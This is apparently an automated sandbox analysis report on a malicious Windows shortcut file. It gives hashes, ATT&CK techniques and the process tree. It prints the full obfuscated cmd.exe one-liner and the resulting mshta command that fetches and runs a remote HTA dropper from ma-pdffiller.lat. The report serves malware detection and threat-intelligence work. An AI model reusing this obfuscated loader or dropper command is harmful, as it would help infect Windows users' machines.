542f7e02338b87b469d3b012af066a741590a5f283279b307dcbecaf211df599

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:22

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General

Target
DOC-27NW3H.lnk
Size 2KB
Sample260804-j9p98aga89
SHA256 542f7e02338b87b469d3b012af066a741590a5f283279b307dcbecaf211df599
MD5 4acdb49561b600ae7414e0c3fe5276b1
SHA1 444e8adc41ac548e1533bc12d6cb4fd7ec0ca96c
SHA512 816f73a62d408edb613befd19af0a5b34a58bec92742523bdcc29dd489d29eb966c6bddd78af43bfcb3f2e3f57598f76b757daaeec36463e73c8cf7123d88357
TLSH
T1E34188903FDE04D9F3BB5E32E9BF1B5088BBB8656D30C09D0540814D5922B05E633B63
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
800	cmd.exe
5744	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 800 wrote to memory of 5744	800	cmd.exe	90
PID 5744 wrote to memory of 2404	5744	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-27NW3H.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:800
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set lQ=onsr&&set Xen=z3jts6p&&set eI=3eart78&set OUPB=dbgpkaxlmmjipswmsttdbg&set hKY=dbgsajzgaedxkdfmxstsdbg&set RZEk=winucqebkebfttiowin&set SrBcO=sysjmbfjaxfcjxeisys&set VA=7rm3&&set RHYf=02sht8nw&&set fVe=nua095&set aZ=dbgoipfeqnzadbg&set Tlih=datkaphtrsxbvhghftpcdat&set hTgJh=netitiybxddahejdnrvynet&&set Jjq=http@s://ma-p@d@ffil@le@[email protected]/h@/@e@[email protected]@h@p@?r=3@9@14@6@9FB5@D@8@2DB&&start /b !VA:~2,1!!RHYf:~2,3!!fVe:~2,1! !Jjq:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5744
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:2404

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads